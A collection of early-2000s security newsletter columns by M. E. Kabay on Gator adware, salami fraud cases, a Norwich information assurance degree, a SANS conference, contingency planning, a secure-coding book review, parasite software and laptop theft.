(5) The CERT/CC "Security Improvement Modules" are available online (and free) in Acrobat PDF and in Postscript formats from < http://www.cert.org/security-improvement/#modules >. This information is also available in the textbook,

Allen, J. H. (2001). The CERT® Guide To System and Network Security Practices. Addison-Wesley (Boston, MA). ISBN 0-201-73723-X. 480 pp.

For a description of the book, see the publisher's Web page at < http://www.awprofessional.com/catalog/product.asp?product_id={D861C120-31DF-45FC-A8EC-FA99D2605B5B} >.

(6) The NSA Security Recommendation Guides are useful for Windows 2000, Windows NT, and Cisco router configuration. See the list of documents starting at < http://nsa2.www.conxion.com/ >.

(7) The SANS Information Security Reading Room is full of useful materials. Start at the home page < http://www.sans.org/newlook/home.php > and click on the Reading Room icon at the top of the screen. You'll be asked to register if you haven't yet done so.

(8) For help in precise wording of policies, I recommend

Wood, C. C. (2001). Information Security Policies Made Easy: A Comprehensive Set of Information Security Policies. Version 8. Pentasafe Security Technologies (Houston, TX). ISBN 1-881-58507-7. Includes CD-ROM for complete access to text. See < http://www.pentasafe.com/publications/ispme.asp >

and also

Peltier, T. R. (1998). Information Security Policies and Procedures: A Practitioner's Reference. Auerbach Publications (Boca Raton, FL). ISBN 0-849-39996-3. 250 pp, CD-ROM. $245. See < http://www.crcpress.com/shopping_cart/products/product_detail.asp?sku=AU9996 >

* * *

Check out the new _Computer Security Handbook, 4th Edition_ edited by Seymour Bosworth and Michel E. Kabay; Wiley (New York), ISBN 0-4714-1258-9. Available now at your technical bookstore or from Amazon < http://www.amazon.com/exec/obidos/ASIN/0471412589 > and Barnes & Noble < http://shop.barnesandnoble.com/textbooks/booksearch/isbninquiry.asp?isbn=0471412589 >.

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. Visit his Web site at < http://www.mekabay.com/index.htm > for papers and course materials on information technology, security and management.

Gator: A Different Animal Altogether

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

After Network World Fusion published my series of articles on scumware a few weeks ago, I received admirably polite representations from the understandably irritated makers of Gator software protesting their inclusion in the series. After engaging in a dialogue with Mr. Scott Eagle, The Gator Corporation's Chief Marketing Officer, the facts came clear why Gator feels it was erroneously included in the series. Below are edited comments from Mr. Eagle that outline the facts from the company perspective.

* * *

Mr. Eagle explained that Gator strongly objects to being called scumware because, "frankly, it is not scumware." In my article, titled, "Whose Web Page is it, Anyway," I defined scumware as "software that modifies the appearance of Web pages without permission from the people who created those Web pages." I also highlighted four key elements of scumware:

* "Scumware makes unauthorized changes to the appearance and content of Web pages that affect more than a single user.

* The changes imposed by scumware interfere with contractual relationships between Web content providers and advertisers.

* The introduced advertisements and links may convey a false impression implying relationships and possibly endorsements that do not exist.

* The modifications may be creating an unauthorized derivative work."

Mr. Eagle carefully outlined the facts as he sees them:

* Gator does not modify the underlying browser window, the underlying HTML of a Web page or the content of a Web page in any way. The company serves a separate (and closable) pop-up window just like ICQ, Yahoo! NewsAlert, or many windows alert software like virus protection, to alert consumers to information.

* Gator does not interfere with the relationship between Web content providers and advertisers.

* Gator consumers actively agree to a contract by which they get useful, free software in exchange for receiving ads. In fact, the company actually has a much stronger contractual arrangement with consumers than virtually any Web site or 3rd party ad network. Mr. Eagle made his point by asking if a consumer ever actively accepted a privacy policy or end user license agreement from DoubleClick? Or agreed to get pop-unders from Web content sites?

* Gator brands every advertisement that is part of its program because it wants users to know where they are receiving these offers. There is even a "?" icon on each ad so consumers can find out more. No one, not even Yahoo!, has this level of branded disclosure on pop-up and pop-under ads.

* Gator's ads are competitive but never derivative.

I also mentioned in "Scumbody's Changing my Web Page" that "products such as Gator deliberately overlay banner ads." Mr. Eagle informed me that the incident I was referring to was from the summer of 2001, when the company's Companion Pop-Up ads attracted the attention of the IAB. In fact, once the IAB became aware of the facts surrounding Gator's Companion Pop-Up Banners, the parties amicably settled the dispute. In addition, the Company, the IAB, and many major Web site publishers have worked together in a variety of ways to address new online media issues, including the Company's current and planned new ad vehicles. Finally, Gator has not published any of the "controversial" Companion Pop-up Banners since November 2001.

In summary, in Gator's opinion, there *are* considerable benefits to the Gator model for all parties:

* Consumers (benefit: dozens of free ad-supported software utilities to choose from versus having to pay up to $30 for these products – in exchange for seeing a few ads each month that are relevant to them),

* Advertisers (benefit: high ROI on their marketing campaigns due to behavioral targeting, click/response rates often 40-times the industry average) and,

* Independent software publishers (benefit: they can focus on innovation vs. monetization of their software so that they can continue to thrive by creating cool consumer software utilities).

* * *

I'm very pleased to receive this information from Gator and regret that I did not know these facts before mentioning them in my series.

On a related note, Declan McCullagh's POLITECH (Politics of Technology) has a discussion about the legality and ethics of new technology (e.g., ReplayTV) that allows viewers to record and playback TV programs without the advertisements. See < http://www.politechbot.com/p-03642.html >.

* * *

POSTSCRIPT:

My friends John Gehl and Suzanne Douglas published this abstract in their excellent "NewsScan" daily summary on the 27th of June, just as this article was going to press:

PUBLISHERS SUE WEB SITE FOR MISAPPROPRIATING THEIR ADS
A group of major U.S. publishing companies, including the Washington Post Company and the

New York Times Company, is suing Gator Corp., a Web site operator based in Redwood City, California, for taking ads on the publishers' Web sites and reselling them on Gator sites without authorization. The publishers say the misappropriation amounts to unfair competition with them, since Gator's competing offer to advertisers makes it harder for publishers to sell ads themselves. (Washington Post 27 Jun 2002)
http://www.washingtonpost.com/wp-dyn/articles/A52132-2002Jun26.html

Salami Fraud (1)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The recent disclosure that WorldCom concealed almost $4 billion of expenses as if they were asset acquisitions and thus falsified its accounting reminds me of the very opposite kind of fraud – one that involves lots of little thefts instead of one gigantic theft. In the _salami fraud_, criminals steal money or resources a tiny bit at a time. Two different etymologies are circulating about the origins of this term. Some claim that it refers to slicing the data thin – like a salami. Others argue that it means building up a significant object or amount from tiny scraps – like a salami.

The classic story about a salami attack is the old “collect-the-roundoff” trick. In this scam, a programmer modifies the arithmetic routines such as interest computations. Typically, the calculations are carried out to several decimal places beyond the customary 2 or 3 kept for financial records. For example, when currency is in dollars, the roundoff goes up to the nearest penny about half the time and down the rest of the time. If the programmer arranges to collect the discarded fractions of pennies in a separate account, a sizable fund can grow with no warning to the financial institution.

More daring salamis slice off larger amounts. The security literature includes case studies in which an embezzler removed $0.20 to $0.30 from hundreds of accounts two or three times a year. These thefts were not discovered or reported: most victims wouldn't bother finding the reasons for such small discrepancies. Other salamis have used bank service charges – increasing the cost of a check by $0.05, for example.

Credit card thieves with thousands of stolen account numbers sometimes steal only a little from each card, on the theory that most people won’t even notice or won’t bother reporting a minor expense that they don’t recognize.

A specific example of salami fraud occurred when a ring of criminal hackers operating in the United States, England and Spain stole the telephone calling card numbers of 140,000 subscribers of AT&T Corp, GTE Corp, Bell Atlantic and MCI Communications Corp. These thefts are estimated to have resulted in U$140 million of fraudulent long distance calls – but the thieves used y cycled through the list of cards, placing only one fraudulent call on each card.

In another scam, two programmers made their payroll program increase the federal withholding amounts by a few cents per pay period for hundreds of fellow employees. The excess payments were credited to the programmers' withholding accounts instead of to the victims' accounts. At income-tax time the following year, the thieves received fat refunds from Internal Revenue.

In January 1993, four executives of a rental-car franchise in Florida were charged with defrauding at least 47,000 customers using a salami technique. The federal grand jury in Fort Lauderdale claimed that the defendants modified a computer billing program to add five extra gallons to the actual gas tank capacity of their vehicles. From 1988 through 1991, every customer who returned a car without topping it off ended up paying inflated rates for an inflated total of gasoline. The thefts ranged from $2 to $15 per customer – rather thick slices of salami

but nonetheless difficult for the victims to detect. [NOTE: I have looked for information about the results of the accusation, but have been unable to find any. If any reader can help me with the details of what happened after the indictment, I will gladly publish a note in this newsletter with thanks.]

The next article in this pair continues with more examples of salami frauds.

Salami Fraud (2)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

This is the second of a pair of articles looking at salami frauds, where tiny thefts are repeated many times.

Peter G. Neumann, in RISKS 18.75, wrote that in January 1997, "Willis Robinson, 22, of Libertytown, Maryland, was sentenced to 10 years in prison (6 of which were suspended) for having reprogrammed his Taco Bell drive-up-window cash register -- causing it to ring up each $2.99 item internally as a 1-cent item, so that he could pocket $2.98 each time. He amassed $3600 before he was caught." Another RISKS correspondent added that management assumed the error was hardware or software and caught the perpetrator only because the idiot bragged about his crime to co-workers.

In Los Angeles in October 1998, the district attorneys charged four men with fraud for allegedly installing computer chips in gasoline pumps that cheated consumers by overstating the amounts pumped. The problem came to light when an increasing number of consumers charged that they had been sold more gasoline than the capacity of their gas tanks. However, the fraud was difficult to prove initially because the perpetrators programmed the chips to deliver exactly the right amount of gasoline when asked for five- and ten-gallon amounts – precisely the amounts typically used by inspectors.

Unfortunately, salami attacks are designed to be difficult to detect. The only hope is that random audits, especially of financial data, will pick up a pattern of discrepancies and lead to discovery. As any accountant will warn, even a tiny error must be tracked down, since it may indicate a much larger problem. For example, Cliff Stoll's famous adventures tracking down spies in the Internet began with an unexplained $0.75 discrepancy between two different resource accounting systems on UNIX computers at the Keck Observatory of the Lawrence Berkeley Laboratories. Stoll's determination to understand how the problem could have occurred revealed an unknown user; investigation led to the discovery that resource-accounting records were being modified to remove evidence of system use. The rest of the story is told in Stoll's book, _The Cuckoo's Egg_ (1989, Pocket Books: Simon & Schuster, New York – ISBN 0-671-72688-9).

If more of us paid attention to anomalies, we'd be in better shape to fight the salami rogues. Computer systems are deterministic machines – at least where application programs are concerned. Any error has a cause. Looking for the causes of discrepancies will seriously hamper the perpetrators of salami attacks. From a systems development standpoint, such scams reinforce the critical importance of sound quality assurance throughout the software development life cycle.

Moral: don't ignore what appear to be errors in computer-based financial or other accounting systems. And next time you audit your accounting system, don't overlook $3.8 billion dollars of unexplained profit, either.

GATOR Provides Clear Privacy Statements and End-User Agreements

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Thanks to the continued correspondence with GATOR.COM and their marketing firm, I have looked further into the current practices of Gator.com and am impressed by the clarity of their marketing materials, privacy policy and end-user license agreements. Anyone planning to use their software or who is designing a [W]eb site or software product that keeps track of user activity will benefit by examining the policies closely to learn how to make one's activities plain.

Gator's marketing pages are found at < http://www.gatorcorporation.com/advertise/qtr/ >. The sequence of [W]eb pages starting there makes it very clear that advertisers are able to show Gator users advertisements "On any site on the [W]eb. At any time during their purchase cycle. Even at a competitor's site."

The privacy statement, found at < http://www.gator.com/help/privacy_license-2.6.html > is admirably clear and free of confusing legal jargon. The main points are as follows:

(1) Gator products are designed to collect "information about where you surf and shop on the [W]eb. For example, if you visit a recipe site we might display a special offer or advertisement for cookware. Depending on which services and applications you use, as well as your preferences, these special offers and advertisements may be displayed using various size pop-up windows on [W]eb pages you visit, and/or sent to you via electronic mail."

(2) Gator does have to store a modest amount of information about each user (quoting directly from the page):

* "Your email address, first name, country and ZIP code (limited to first 5 digits in the U.S.)

* Your Gator.com ID which is a numeric identifier that is generated by Gator.com when you receive Gator ServWareApps

* Your master Gator password, if you choose to use one (we store this so we can share it with you if you happen to forget it)

* Information about [W]eb pages you visit -- this information includes a site's [W]eb address, time spent at a site, transaction activity, where Gator ServWareApps were used, site entry and exit patterns, and some products and information viewed

* Any optional demographic information you choose to provide us such as gender and income

* History of various special offers and advertising delivered by Gator ServWareApps, and your various responses to them

* Standard [W]eb log information and system settings such as user IP addresses, browser type and versions, screen resolution, time zone selected and the version numbers of some of the software installed on your personal computer"

(3) Gator does not normally store "your last name, street addresses, phone numbers, credit card numbers and login IDs/ passwords for [W]eb sites which Gator Login Helper remembers for you." Only if the user specifically requests storage of additional information will Gator keep track of such details.

(4) All changes to the privacy statement and end user license agreement are announced explicitly to every user "either by displaying an online pop-up communication or sending an email message."

(5) Gator products use cookies, including third-party cookies from their clients, to track user activity and, specifically, "To identify the partner that was responsible for introducing you to a Gator ServWareApp application so that Gator.com can pay that partner a fee for introducing you. To display the most appropriate advertising based on your interests and activities. To identify which Gator ServWareApps are on your computer."

(6) Gator products use "[W]eb beacons" which "are electronic images (also called a "single-pixel GIF") found in, among other places, various size pop-up advertisements and email messages. Gator.com and third-party service providers may include [W]eb beacons in an email message in order to count and record how many recipients have viewed the email message, in the aggregate, and to individually identify and record, by email address, those who have viewed the email message and those who have not viewed the email message. Third party service providers that serve ads to Gator ServWareApps users at Gator.com's request may use [W]eb beacons in connection with the provisioning of their services."

(7) Users may terminate delivery of Gator e-mail communications at any time.

(8) Gator-enabled software is updated automatically. "We use technology that automatically delivers software applications, automatic updates to these applications, and other information to your computer without requiring any action on your part so that they will be ready and waiting for you when you need them."

* * *

On another note, Gator quickly fixed a security flaw in February when it was informed that its ActiveX download plug-in could allow back-door installation of hostile programs. For more details, see the article by Stefanie Olsen at < http://news.com.com/2110-1023-843692.html >.

I trust that this information will be helpful to people interested in learning more about Gator and its clients as well as offering a model for clear explanations of what a [W]eb site or software actually do with user information and user systems.

Norwich University MSIA

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In November 2001, I was asked to help create a new graduate program in information assurance (IA) at Norwich University.

Information assurance--the protection of information from attack, human error, or mechanical failure--is one of the most rapidly growing fields within the information technology industry. In 2000, $10.3 billion was spent by corporations on information assurance. This amount that is projected to grow to $31.8 billion by 2005.

The growth in IA spending will foster an increased demand for information assurance professionals in the near future. The U.S. is likely to face a shortfall of 50,000 to 75,000 IA professionals in the next few years. Because of this demand, starting salaries for Master's-level IA professionals run around $85,000.

Norwich University has been designated a Center of Excellence in Information Assurance Education by the National Security Agency. This designation recognizes Norwich's leadership in the field and will provide federal support for programs, conferences, and scholarships in IA. The designation has helped propel the new Master's degree in Information Assurance (MSIA). The MSIA draws together Norwich faculty and leading experts in the field to create a comprehensive 18 month curriculum on all facets of information security. The program is delivered online through interactive seminars. This "anytime, anywhere" element allows busy professionals to fit education into their lives. Students will also meet on campus for a two-week residency and conference on information security at the end of their program.

One of the most original and exciting aspects of the program is the application of the student's learning to his or her own company. Our merging of theory and practice is unique among IA programs. Our students will use their own employer as a case study by analyzing its systems and making recommendations at the end of each seminar. Employers will reap immediate benefits from their employees' education, and students will complete the program already having had practical experience in the field.

In creating the curriculum for the program, we have leveraged two years of work that Sy Bosworth and I did with 46 colleagues in creating the _Computer Security Handbook, 4th Edition_ (CSH4) published by Wiley in April 2002. This text provides the core readings for the MSIA – around half of the total material. The rest of the material is provided by our instructors based on their own expertise and professional insights. In the MSIA, as in the CSH4, we are structuring the course material to follow a natural life-cycle view of information assurance. We start with security fundamentals, cover basic management skills (much of this comes from our MBA program), move on to threats and vulnerabilities, examine technical defenses, discuss human factors in defending information, study detection and remediation, spend a long time on management's role in making IA work, and finish with a review of hot topics in the field such as medical records security, use of encryption across national boundaries, censorship and content filtering, privacy in cyberspace, anonymity and identity, and the future of IA. To our delight,

many of the contributors to CSH4 have enthusiastically responded to our invitation to help teach the program.

On the administrative side, I am delighted to announce that Dr John Orlando has accepted the position of Assistant Director. He brings years of experience with online university education to us and is tasked with supporting students and faculty to achieve the highest level of student satisfaction and achievement. With the enthusisastic support and expertise of Dr Fred Snow, Dean of Graduate Programs, and of Dr Frank Vanacek, Head of the Business Division, all of us are looking forward to an exciting program launch in September.

Response to a brief notice about the MSIA has been astounding: within one day of my sending out 581 announcements just to my own personal correspondents, we had already received several applications and dozens of requests for more information. Since there are only 15 slots in the first cohort due to start September 3rd, we are confident of a spectacular start to our new program. We plan to have at least two 15-person cohorts starting in January 2003.

I believe that our curriculum's management orientation, the intense focus on practical knowledge through in-depth analysis of each student's own organization, and our commitment to provide the best possible support to our students will make the Norwich MSIA a significant contribution to IA education. We will also be working with professional certification organizations to make sure our graduates can quickly acquire such certifications through on-campus examinations during their two-week stay on campus at the end of the 18-month program.

To learn more about the MSIA, visit the Website at http://www.norwich.edu/MSIA, or call the New Business Initiatives office at 1-800-468-6679.

SANS Women-Only Security Conference

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Today I am lending my enthusiastic support to a wonderful initiative from my friends at the System Administration and Network Security (SANS) Institute. Here's an important message from Stephen Northcutt (verbatim with slight edits).

* * *

I'm Stephen Northcutt and I ask you to consider an important social issue that impacts information security in every company and organization in the world. Last week, I was teaching _Intrusion Detection_ in Boston and realized that out of over a hundred students only three of them were women. Sadly, this is normal for our advanced courses and happens in every city and country we visit. In response, SANS is pleased to offer a special, hands-on, for women only conference in New Orleans, September 9 - 14, 2002. This conference, _SANS French Quarter_, will feature our _Information Security and Audit Kickstart_. This training will help women attendees excel in meeting the personal and professional challenges of Information Security.

This track offers comprehensive coverage of the essentials: information assurance fundamentals, IP concepts and behavior, the Internet threat, antivirus tools, security policies, password management and cracking, PGP, cryptography, backup and auditing. In addition, we are having special sessions of Birds of a Feather (BOFs) that will focus on self-expression and self-nurturing to improve the quality of life when you return to the workplace.

SANS French Quarter is your opportunity to try new activities, experience New Orleans, and build information security self-confidence. The combination of a professional, all women staff and hands-on learning is a fantastic one. After a week of our intensive training, you will be able to use what you learned as soon as you get back to the workplace. SANS French Quarter is also a great opportunity to network and meet new friends and foster an atmosphere of teamwork.

Register now, to join a course that will help you further your career in information security and auditing. This course is designed to help you prepare for the GIAC Information Security and Audit Kickstart (GIAK). For more information on the GIAC Program and how it can benefit you, please visit www.giac.org. We look forward to seeing you this September at SANS French Quarter. Take advantage of the special conference! For full conference details please visit < http://www.sans.org/FrenchQuarter/ >

Normally we do not invite vendor participation for single-track courses, but due to the special nature of this conference I am willing to make an exception. If you are an information security or audit product vendor and would like to purchase a tabletop demonstration opportunity and are willing to send a women-only demonstration team, then please contact vendor@sans.org.

Male readers – please take a moment to forward this document to the professional women you know who may be interested in this opportunity.

Visible Statement for Security Awareness

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Russ Mumford, a reader of this column, suggested that I examine his company's product, "Visible Statement." I went to < http://www.greenidea.com > and found that Visible Statement is a potentially useful tool for keeping information security issues in front of users in a palatable form as a series of amusing screen savers.

The FAQ says, "Visible Statement is a new computer-based delivery system designed to promote the retention and recall of your most important security and training messages. What makes it unique is Visible Statement delivers colorful, humorous, professionally-designed animated messages right where people work – at their computers. Visible Statement uses the proven principle of spaced repetition to support and enhance security and training programs. It takes care of the need to re-emphasize your message to increase widespread security awareness throughout your organization."

This tool allows administrators to create their own animated messages as well as the supplied cartoons, to upload them from a server to any or all clients on the network, and to set specific time intervals at will for automatic display.

I downloaded a demo copy of the product and found that it was easy to install from the supplied WinZIP file.

The cartoons are very cute. In one scene, for example, we see a variety of Bad Guys stealing stuff from an office while the employees remain oblivious; characters include a spaceman, a colorful clown, a ballet dancer, the Pied Piper, a cowboy, and – at last – an employee who knows enough to ask the final unbadged stranger whether she can "help" him. She drags him away and, as an afterthought, snatches a coffee cup from one of the employees.

The most important aspect of the product, I think, is that it gives administrators complete control over content. As the FAQ suggests, such amusing cartoons – and you can add your own or buy more from the company – can enhance not only security policy compliance but also any policy that benefits from increased awareness. Privacy policies, legal compliance, financial procedures – every policy can be leavened with a bit of humor.

My sense is that it would be important NOT to allow the cartoons to get stale. As with many animations, once is funny, twice is mildly amusing, and three times is boring, four times is irritating, and . . . well, you get the picture. If you're going to use the product, make sure that you plan your programs carefully. Have lots of variety, judge the messages carefully so that they aren't perceived as belittling or insulting, and don't overdo the usage.

The product also has Spanish, French and German versions. Unfortunately, they're not quite ready for production, as far as I could judge from the samples I viewed. The French version has English labels at various points in the animation (e.g., on a user's cubicle and on a folder); the French grammar is a bit shaky (e.g., it uses the second person singular for the imperative on a warning sign but the second person plural in all the instructions); there's an English comment

("Oh, OK") smack in the middle of the sequence; and the words "helpful reminders" appears briefly before being overlaid by French; and there's some outright gibberish that may be straight machine translation in one helpful hint. The German cartoon looked OK to me, but it ended with an English statement that wasn't translated into German. I can't speak to the Spanish version because I don't speak Spanish. Once I notified Mr Mumford of the problems, he immediately went into high gear to have them fixed.

If you're interested in the English-only version, I think you'll be pleased. Congratulations to Russ Mumford and his colleagues at Green Idea on this project.

[Disclaimer: I have no relationship whatever, financial or professional, with the makers of this product. These comments should not be construed as an endorsement.]

Contingency Planning Must be Comprehensive

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In a recent column, I pointed to the free, Web-based _CONTINGENCY PLANNING GUIDE FOR INFORMATION TECHNOLOGY SYSTEMS _ edited by Elizabeth B. Lennon and published by The Information Technology Laboratory (ITL) of the National Institute of Standards and Technology (NIST) (available at < http://csrc.nist.gov/publications/nistpubs/index.html >).

One of my regular correspondents contributed this analysis of the document based on his extensive professional experience.

* * *

The NIST plan simply reinforces the mistakes that have been made in government contingency planning over the years. No one but IT had a plan – if there was any plan at all. Even if one existed for IT, it usually would not work since it was not properly tested.

As late as the late 1980s, the Office of Management and Budget (OMB) was turning down funding requests for contingency plans for mission critical government systems like Veterans Administration (VA) benefits because the risk assessment wasn't adequate. So VA gave them a risk assessment (really more of a business impact analysis) explaining why vets need their benefit checks. To this day, there is still no adequate contingency plan for veterans' benefits. Their master records are stored and processed on a Honeywell system using GCOS VIII. Try to find another one of those somewhere.

While working as consultants in the late 1990s, some of my associates tried to get another agency to test its contingency plan. They were too busy with other things. If the plan did not work, it meant that important income maintenance might well not be available to people in need.

At another important agency that deals with economic analysis, a consultant entered the equipment inventory for the data center into a specialized database and also did a business impact analysis. They thought they had a contingency plan; however, they did not do the telecommunications part. They certainly needed a good plan, since the people who designed their data center decided to put a glass wall on the front with windows so you could see into the computer room. This was designed after the WTC and OK City bombings.

We have learned very clearly since 9/11 that technology-based plans, even if tested, are useless without the people to use them. That means not just the technology people but the business people too. People need a place to work after an event destroys their original office space.

Although the NIST document makes mention of other types of plans such as crisis management and business recovery, it does not attempt to offer even brief examples or provide links where the reader could get more information. The NIST document simply encourages the types of inadequate, localized, technology-oriented contingency plans which have been developed both in

government and industry. These proved less than adequate for organizations facing the recovery processes after 9/11.

GAO has issued a review of Federal Deposit Insurance Corporation (FDIC) Computer Security subtitled “Improvements Made
but Weaknesses Remain” and dated July 2002 (GAO-02-689; see < http://www.gao.gov/new.items/d02689.pdf >). Some of the additional improvements it recommended for the FDIC contingency plans include the following:

1. Use unannounced tests or walk-throughs because real disasters give little if any warning;
2. Develop business continuity plans for _all_ facilities;
3. Deal with the potential unavailability of a backup computer facility, as happened to some such facilities in the Washington DC area on 9/11.

It seems easier to convince IT managers of potential threats, since they see the hits on their firewalls daily and most are keenly aware of the need to keep anti-virus software updated; getting business managers to face up to the potential for physical attacks is much more difficult.

Some places have excellent system and network security. They may even do a fair job at personnel security. But they neglect physical security, providing that weak point in the perimeter for potential attackers. Since these different areas of security are usually in separate organizations, it's difficult for anyone except at very high levels to see the big picture. Unfortunately, most of the senior officials are not interested in these types of risk, assuming that the responsible managers have everything under control. Often that is not the case.

My rule is that your physical security should be able to stop, at the building perimeter, an irate ex-husband or a disgruntled ex-employee, even if they are armed. If you can do that, you will at least slow down even a well-trained terrorist team.

We all need to plan for the worst case that we judge likely. That means comprehensive plans that address technology, people and facilities and constant monitoring to keep the plans up to date as conditions change. Anything less, and it won't work.

Writing Secure Code

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

I am delighted to report that Microsoft is getting religion. The following new text is heartening grounds for optimism:

Howard, M. & D. LeBlanc (2002). _Writing Secure Code: Practical Strategies and Proven Techniques for Building Secure Applications in a Networked World_. Microsoft Press (Redmond WA). ISBN 0-7356-1588-8. xxiv + 479. Index. List price U$39.99.

According to the biographical notes, "Michael Howard is a founding member of the Secure Windows Initiative team at Microsoft, a team with the goal of convincing designers, developers, and testers that they need to deliver secure systems." "David LeBlanc, PhD, currently works in Microsoft's Trustworthy Computing Initiative and has been part of Microsoft's internal network security group as a tools developer and white-hat hacker. Prior to joining Microsoft, he led the team that produced the Windows NT version of Internet Security Systems' Internet Scanner."

The books opens with a good introduction that explains the increasing importance of security (I wish this principle had been accepted earlier at Microsoft) and correctly defines "secure code" as "code that is designed to withstand attack by malicious attackers. Secure code is also robust code." The book is intended to teach the reader "to design, write and test application code in a secure manner" by being "relentlessly practical." The book is aimed application designers, programmers, testers and documenters for Windows 32-bit platforms and for the Web.

Part I – Contemporary Security – opens with Chapter 1, "The Need for Secure Systems," where the authors summarize the consequences of bad security in production programs and suggests practical approaches to convincing your colleagues and bosses that shipping rotten software is not a good idea in the long run. Chapter 2, "Designing Secure Systems, starts by pointing out two widespread errors in program design and coding: (1) simply forgetting about the security of their code (or adding irrelevant security features that don't mitigate the fundamental flaws of the design); (2) applying security functions to the code after it's been designed and coded. Their discussion of security principles is encouraging:

* Establish a security process
* Define the product security goals
* Consider security as a product feature
* Learn from mistakes
* Use least privilege
* Use defense in depth
* Assume external systems are insecure

* Plan on failure

* Fail to a secure mode

* Employ secure defaults

* Remember that security features != secure features

* Never depend on security through obscurity

The chapter continues with “Security Design by Threat Modeling” and “Security Techniques.” In addition to reading this chapter, readers will benefit from reading Chapter 3 (Using a “Common Language” for Computer Security Incident Information”) by John D. Howard & Pascal Meunier; and Chapter 5 (Toward a New Framework for Information Security) by Donn B. Parker in the _Computer Security Handbook, 4th Edition_ to expand their horizons in thinking systematically about security threats and vulnerabilities.

For lack of space, I won’t go into further detail about Howard and LeBlanc’s new text. The other section and chapter titles are as follows:

Part II: Secure Coding Techniques
- 3 Public Enemy #1: The Buffer Overrun
- 4 Determining Good Access Control
- 5 Running with Least Privilege
- 6 Cryptographic Foibles
- 7 Storing Secrets
- 8 Canonical Representation Issues

Part III: Network-Based Application Considerations
- 9 Socket Security
- 10 Securing RPC, ActiveX Controls, and DCOM
- 11 Protecting Against Denial of Service Attacks
- 12 Securing Web-Based Services

Part IV: Special Topics
- 13 Writing Secure .NET Code
- 14 Testing Secure Applications
- 15 Secure Software Installation
- 16 General Good Practices

I also very much appreciate the CD packaged with the book; it includes a complete electronic copy of the text – a terrific boon for teaching because of its searchability. I will definitely consider this text for my next university courses on quality assurance and advanced programming. Congratulations to the authors and to Microsoft. Now let’s hope these principles actually get used at Microsoft and elsewhere despite decades of violation of all of these best practices.

Resource Parasites:
Touching the Tar-Baby

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The U.S. Department of Energy's Computer Incident Advisory Capability (CIAC) has issued an analysis of a dangerous category of software thy are calling "parasite programs." Advisory CIACTech02-004: Parasite Programs; Adware, Spyware, and Stealth Networks" < http://www.ciac.org/ciac/techbull/CIACTech02-004.shtml > summarizes the situation as follows in the problem statement and the abstract:

"Programs are being intentionally packaged with legitimate software to display advertising on your screen, gather information on your browsing habits, and to sell your unused CPU cycles and disk space. Current applications are relatively benign but could easily be used for an invasion of privacy or other malicious purposes."

"Recent reports from Internet marketing companies outlining their plans [have] brought to light the capabilities of parasite programs that are being installed along with legitimate programs. These parasite programs give the outside company the ability to watch your browsing habits, examine your files, and use your unused computer cycles and disk space. Most of these programs currently place directed advertising on your computer but have the ability to do much more. Buried in the fine print of the user agreements for those programs are legal releases that may allow the software company uncontrolled access to your computer. The stated future plans of at least one of these companies includes selling your unused disk space and computer cycles to other companies. In this bulletin we will discuss what is going on now, what could be done with the existing technology, and how to detect and get rid of it."

The particular case studied in detail is that of the company Brilliant Digital Entertainment (BDE), which provides a utility for displaying three-dimensional images. The end-user license agreement (EULA) stipulates that the company can "change or modify any of the terms and conditions of this agreement and any of the policies governing the services at any time in its sole discretion." In addition, "Your continued use of the software following BDE's changes will constitute your acceptance of such changes."

The CIAC analysts point to the additional statement, "You hereby grant BDE the right to access and use the unused computing power and storage space on your computer/s an /or internet access or bandwidth for the aggregation of content and use in distributed computing. The user acknowledges and authorized this use without the right of compensation." Their conclusion? "they get to use your computer for free." Finally, the EULA stipulates that if either party terminates the agreement, all the other terms of the agreement remain in force, including the company's right to continue to use the user's computer resources.

Based on their reading of a submission to the Securities and Exchange by BED, CIAC continues with their interpretation of the BDE objectives in installing the utility in the first place: "So, what are they going to do with your disk space and processing power? They are going to sell it

to other businesses to use. They are particularly targeting advertising companies to provide a place to store advertising content that they will push out to other systems. Note that while they do say they are going to compensate the owners of the computers they are using, they do not say how and they are not really required to compensate the owners according to the user agreement."

The report continues with extensive details of how to deal with parasite programs.

I urge readers to read all EULAs with the CIAC findings in mind before allowing any "free" utilities to be installed on corporate computers. The same caution should be suggested to employees for their home computers, especially if they do any corporate work or store corporate data on those home computers.

Beware the e-Tar Baby.

Laptop Thefts Increase

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Laptop computers are ideal for thieves. They're small, it looks normal to carry them (in contrast to, say, file servers), they can be sold as used computers via electronic auctions and sales channels, and – best of all – they may information that can be valuable to the right people.

Estimates from the people who make laptop security devices claim that 15% of all laptops are stolen every year worldwide. Although this could be a high estimate, it's still a real problem. Laptops get stolen from cars, in planes, and even at security checkpoints in airports. It bears repeating that the security-gate scam is particularly effective: one thief goes through before the victim and the second thief delays the computer owner by "finding" additional metal objects in surprising quantity every time (s)he goes through the metal detector. By the time the owner gets through, the computer is gone.

In a recent article entitled "Agencies Have Lost Hundreds of Laptops; Justice Department Says Computer Theft Is a Growing Problem" by Brad Smith of _The Tampa Tribune_, the writer highlights the growing severity of this problem. Some key points made by Mr Smith:

* According to Jerry Rubino, the director of security and emergency planning at the Justice Department, hundreds of government laptops have been stolen out of thousands in use.

* Two laptops were stolen from the MacDill Air Force Base in early August; there is unconfirmed speculation that they contained classified information.

* The Inspector General of the Department of Justice has reported that "five agencies, including the FBI and DEA, have lost track of 400 laptop computers, more than half of which may have contained sensitive national security data."

* "The IRS has lost or misplaced 2,322 laptop computers, desktop computers and computer servers over the past three years."

